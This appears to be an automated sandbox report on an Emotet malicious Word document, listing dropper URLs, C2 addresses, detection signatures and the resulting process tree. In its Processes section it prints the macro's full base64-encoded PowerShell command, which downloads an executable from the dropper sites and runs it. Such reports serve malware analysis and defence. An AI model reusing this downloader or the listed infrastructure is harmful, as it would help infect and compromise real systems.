Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    12/08/2020, 13:34

General

  • Target
    emotet_e3_e7c01fa90a3164924439c7e9579e0f4228a4ed9fa320d2ee564d2f2a7f5f5139_2020-08-12__133255._doc.doc
  • Size 229KB
  • Sample200812-bsw6cy22js
  • SHA256 e7c01fa90a3164924439c7e9579e0f4228a4ed9fa320d2ee564d2f2a7f5f5139
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://disbain.es/wp-includes/sjDqmAWt/

  • exe.dropper

    https://bluecoach.me/pllbl/PuBDVuY/

  • exe.dropper

    https://ahdaaf.me/site/o8pybs6024/

  • exe.dropper

    http://kjnk.ee/awstats-icon/eOn/

  • exe.dropper

    https://backroom.co.nz/1080/ansyQsw/

Extracted

Family
  • emotet

C2
  • 176.216.226.44:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 97.104.107.190:80

  • 178.33.167.120:8080

  • 46.105.131.68:8080

  • 78.189.60.109:443

  • 198.57.203.63:8080

  • 153.220.182.49:80

  • 143.95.101.72:8080

  • 105.213.67.88:80

  • 203.153.216.182:7080

  • 77.74.78.80:443

  • 185.208.226.142:8080

  • 188.251.213.180:443

  • 192.163.221.191:8080

  • 172.105.78.244:8080

  • 50.116.78.109:8080

  • 46.32.229.152:8080

  • 201.235.10.215:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e7c01fa90a3164924439c7e9579e0f4228a4ed9fa320d2ee564d2f2a7f5f5139_2020-08-12__133255._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3956
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABMAFUAUwBDAEcAZwBzAGMAPQAnAFkAUABKAFQASQBiAHUAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAGAAUgBgAEkAVABZAFAAYABSAE8AYABUAE8AQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABOAFkAVwBYAEsAbABoAHAAIAA9ACAAJwA1ADcAMgAnADsAJABBAEsAUABaAE0AeAB0AGoAPQAnAFYAWgBHAEsARABhAGwAZQAnADsAJABXAEUARABXAFkAZgBjAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE4AWQBXAFgASwBsAGgAcAArACcALgBlAHgAZQAnADsAJABVAFkAVwBFAFcAdQBlAGgAPQAnAFQAUABVAEQARwB3AGYAcAAnADsAJABIAEMATABGAEIAbABhAHQAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AVwBlAEIAYwBsAEkARQBOAFQAOwAkAFgASgBVAEIASgB6AGcAaAA9ACcAaAB0AHQAcABzADoALwAvAGQAaQBzAGIAYQBpAG4ALgBlAHMALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBzAGoARABxAG0AQQBXAHQALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAdQBlAGMAbwBhAGMAaAAuAG0AZQAvAHAAbABsAGIAbAAvAFAAdQBCAEQAVgB1AFkALwAqAGgAdAB0AHAAcwA6AC8ALwBhAGgAZABhAGEAZgAuAG0AZQAvAHMAaQB0AGUALwBvADgAcAB5AGIAcwA2ADAAMgA0AC8AKgBoAHQAdABwADoALwAvAGsAagBuAGsALgBlAGUALwBhAHcAcwB0AGEAdABzAC0AaQBjAG8AbgAvAGUATwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AYgBhAGMAawByAG8AbwBtAC4AYwBvAC4AbgB6AC8AMQAwADgAMAAvAGEAbgBzAHkAUQBzAHcALwAnAC4AIgBzAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAVgBHAEUATQB3AGwAZwA9ACcAUgBFAEYAVABXAHgAdgBpACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAEsAUwBSAFQAcgB4AHoAIABpAG4AIAAkAFgASgBVAEIASgB6AGcAaAApAHsAdAByAHkAewAkAEgAQwBMAEYAQgBsAGEAdAAuACIAZABgAG8AdwBOAGwAbwBhAEQAYABGAEkATABlACIAKAAkAFMASwBTAFIAVAByAHgAegAsACAAJABXAEUARABXAFkAZgBjAHgAKQA7ACQARQBXAE8AVQBVAGUAZgB6AD0AJwBMAFMAUwBLAEUAbwB0AHAAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABXAEUARABXAFkAZgBjAHgAKQAuACIAbABFAG4AYABHAFQAaAAiACAALQBnAGUAIAAyADYAOAA0ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAQQB0AEUAIgAoACQAVwBFAEQAVwBZAGYAYwB4ACkAOwAkAFEATABaAFMAUABqAG4AZAA9ACcAQQBUAFgASABYAGcAYgBzACcAOwBiAHIAZQBhAGsAOwAkAEIAQgBCAFkATQBkAGEAbwA9ACcASABaAFEAQQBHAG8AZABzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUARABZAEwASABiAHMAegA9ACcATwBLAFUARABEAHcAYQBvACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2552
  • C:\Users\Admin\572.exe
    C:\Users\Admin\572.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3876
    • C:\Windows\SysWOW64\hmkd\vccorlib120.exe
      "C:\Windows\SysWOW64\hmkd\vccorlib120.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1876

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2552-8-0x00007FF8FA190000-0x00007FF8FAB7C000-memory.dmp

        memory/2552-9-0x0000024069A40000-0x0000024069A41000-memory.dmp

        memory/2552-10-0x0000024069D20000-0x0000024069D21000-memory.dmp

        memory/3876-13-0x0000000000620000-0x000000000062C000-memory.dmp

        memory/3956-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

        memory/3956-4-0x000002285B744000-0x000002285B74A000-memory.dmp